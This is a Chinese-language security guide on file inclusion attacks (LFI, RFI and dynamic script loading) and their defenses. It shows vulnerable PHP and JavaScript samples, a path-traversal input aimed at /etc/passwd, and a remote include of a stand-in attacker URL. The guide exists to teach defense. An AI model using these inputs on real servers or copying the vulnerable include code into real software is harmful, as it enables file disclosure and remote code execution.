跳到主要内容

文件包含

威胁描述

文件包含是一种攻击方式,攻击者通过操纵文件路径或URL参数,使应用程序包含并执行非预期的文件。虽然文件包含主要发生在后端(如PHP的includerequire函数),但前端开发者也需要了解其原理和防御措施,特别是在涉及动态加载脚本或资源的场景。文件包含可能导致代码执行、数据泄露、服务中断等严重后果。

类型分类

1. 本地文件包含(LFI)

攻击者包含服务器本地的文件,可能获取敏感信息或执行恶意代码。

2. 远程文件包含(RFI)

攻击者包含远程服务器上的文件,通常用于执行恶意代码。

3. 动态文件包含

通过动态参数控制包含的文件,可能被攻击者操纵。

工作原理

  1. 应用程序使用用户输入来确定要包含的文件路径
  2. 攻击者构造包含恶意文件路径的输入
  3. 应用程序未对输入进行适当验证或过滤
  4. 恶意文件被包含并执行,造成危害

示例代码

1. 本地文件包含

// 前端代码
const page = document.getElementById('page').value;

// 不安全的后端代码(PHP)
<?php
$page = $_GET['page'];
include($page . '.php');
?>

// 攻击者输入
// page: ../../../../etc/passwd%00

// 执行后的包含
include('../../../../etc/passwd\0.php');

2. 远程文件包含

// 前端代码
const scriptUrl = document.getElementById('scriptUrl').value;

// 不安全的后端代码(PHP)
<?php
$script = $_GET['script'];
include($script);
?>

// 攻击者输入
// script: https://attacker.com/malware.php

// 执行后的包含
include('https://attacker.com/malware.php');

3. 前端动态脚本加载

// 不安全的前端代码
const module = document.getElementById('module').value;
const script = document.createElement('script');
script.src = `modules/${module}.js`;
document.head.appendChild(script);

// 攻击者输入
// module: ../../malware

// 加载的脚本
modules/../../malware.js

防御措施

1. 前端输入验证

在前端对用户输入进行基本验证,过滤潜在危险字符:

// 验证模块名是否只包含字母和数字
function validateModule(input) {
const regex = /^[a-zA-Z0-9]*$/;
return regex.test(input);
}

// 动态加载脚本时验证
function loadModule(module) {
if (!validateModule(module)) {
console.error('无效的模块名');
return;
}
const script = document.createElement('script');
script.src = `modules/${module}.js`;
document.head.appendChild(script);
}

2. 后端白名单验证

在后端对用户输入进行严格验证,只允许访问预定义的文件:

// 后端白名单验证(Node.js)
const allowedPages = ['home', 'about', 'contact'];
function validatePage(page) {
return allowedPages.includes(page);
}

// 安全的文件包含
if (validatePage(page)) {
require(`./pages/${page}.js`);
} else {
// 处理无效请求
}

3. 避免使用用户输入直接构建文件路径

尽量避免使用用户输入直接构建文件路径,如果必须使用,进行严格的过滤和验证:

// 安全的文件路径构建
function getSafeFilePath(input) {
// 移除危险字符
const safeInput = input.replace(/[^a-zA-Z0-9_\-]/g, '');
// 限制路径只能在指定目录
return path.join(__dirname, 'pages', `${safeInput}.js`);
}

4. 禁用远程文件包含

如果不需要远程文件包含功能,禁用该功能:

// PHP中禁用远程文件包含
allow_url_include = Off

最佳实践

  1. 避免使用用户输入直接构建文件路径
  2. 使用白名单限制允许包含的文件
  3. 在前端和后端都实施输入验证,但以后端验证为主
  4. 禁用不必要的远程文件包含功能
  5. 定期进行安全测试,包括文件包含测试
  6. 保持操作系统和应用程序的更新,以防止已知漏洞被利用
  7. 实施文件访问控制,限制对敏感文件的访问
  8. 考虑使用内容安全策略(CSP),限制脚本的来源
  9. 对包含的文件进行验证,确保其完整性和安全性